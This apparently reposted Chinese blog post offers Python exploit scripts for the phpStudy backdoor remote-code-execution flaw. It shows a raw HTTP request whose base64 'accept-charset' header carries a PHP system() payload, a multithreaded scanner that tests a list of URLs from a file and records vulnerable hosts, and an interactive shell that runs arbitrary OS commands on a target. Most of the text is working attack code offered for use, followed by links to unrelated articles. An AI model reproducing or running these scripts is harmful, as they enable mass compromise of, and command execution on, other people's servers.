phpstudy后門rce批量利用腳本的實(shí)現(xiàn)
寫兩個一個批量檢測的 一個交互式shell的
暫時py 圖形化的qt寫出來..有點(diǎn)問題
后門包 :
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1


執(zhí)行那段寫shell即可

晚上抽點(diǎn)空簡單寫個發(fā)包的py:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/
import base64
import requests
import threading
import queue
print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Language': 'zh-CN,zh;q=0.9',
'accept-charset': payload,
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
}
def write_shell(url,headers):
try:
r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
if "qing" in r.text:
print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
with open('success.txt','a') as f:
f.write(url+'\n')
else:
print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
except:
print ('[ - ] Timeout: '+url+' [ - ]\n')
url = "http://xxx"
write_shell(url=url,headers=headers)
界面優(yōu)化、改下多線程、批量讀取文本文件后的代碼:
#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/
import base64
import requests
import threading
import threadpool
print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")
def write_shell(url):
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Language': 'zh-CN,zh;q=0.9',
'accept-charset': payload,
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
}
try:
r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
if "qing" in r.text:
print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
with open('success.txt','a') as f:
f.write(url+'\n')
else:
print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
except:
print ('[ - ] Timeout: '+url+' [ - ]\n')
# url = "http://xxx"
# write_shell(url=url,headers=headers)
def main():
with open('url.txt','r') as f:
lines = f.read().splitlines()
task_pool=threadpool.ThreadPool(5)
requests=threadpool.makeRequests(write_shell,lines)
for req in requests:
task_pool.putRequest(req)
task_pool.wait()
if __name__ == '__main__':
main()
#線程隊列部分
# th=[]
# th_num=10
# for x in range(th_num):
# t=threading.Thread(target=write_shell)
# th.append(t)
# for x in range(th_num):
# th[x].start()
# for x in range(th_num):
# th[x].join()

你也可以加上讀取php文件的字典 這個簡單沒啥說的
下一個是交互式shell
#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/
import base64
import requests
import threading
import threadpool
import re
print("======Phpstudy Backdoor Exploit---os-shell============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")
def os_shell(url,headers,payload):
try:
r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=False,timeout=10)
# print(r.text)
res = re.findall("qing(.*?)qing",r.text,re.S)
print("[ + ]===========The Response:==========[ + ]\n")
res = "".join(res)
print(res)
except:
print("[ - ]===========Failed! Timeout...==========[ - ]\n")
def main():
url = input("input the Url , example:\"http://127.0.0.1/\"\n")
payload = input("input the payload , default:echo system(\"whoami\");\n")
de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";"
if payload.strip() == '':
payload = de_payload
payload = "echo \"qing\";"+payload+"echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Language': 'zh-CN,zh;q=0.9',
'accept-charset': payload,
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
}
os_shell(url=url,headers=headers,payload=payload)
if __name__ == '__main__':
main()

以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
php框架CodeIgniter主從數(shù)據(jù)庫配置方法分析
這篇文章主要介紹了php框架CodeIgniter主從數(shù)據(jù)庫配置方法,結(jié)合實(shí)例形式分析了CodeIgniter框架主從數(shù)據(jù)庫配置方法、模型model與控制器調(diào)用操作技巧以及相關(guān)注意事項,需要的朋友可以參考下2018-05-05
PHPStorm 2020.1 調(diào)試 Nodejs的多種方法詳解
這篇文章主要介紹了PHPSTORM 2020.1 調(diào)試 Nodejs的多種方法詳解,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-09-09
分享微信掃碼支付開發(fā)遇到問題及解決方案-附Ecshop微信支付插件
微信掃碼支付在購物商城非常流行,本篇文章給大家分享微信掃碼支付開發(fā)遇到問題及解決方案-附Ecshop微信支付插件,需要的朋友可以參考下2015-08-08
Apache啟動報錯No space left on device: AH00023該怎么解決
最近有朋友說:Apache啟動報錯No space left on device: AH00023,是怎么回事,該怎么解決呢?經(jīng)過小編的一番折騰,問題解決,下面把解決辦法分享給大家,需要的朋友可以參考下2015-10-10
CentOS 安裝 PHP5.5+Redis+XDebug+Nginx+MySQL全紀(jì)錄
這篇文章主要介紹了在CentOS系統(tǒng)環(huán)境下安裝 PHP5.5+Redis+XDebug+Nginx+MySQL開發(fā)環(huán)境的全過程,非常的細(xì)致詳盡,推薦給有需要的小伙伴們參考下吧。2015-03-03

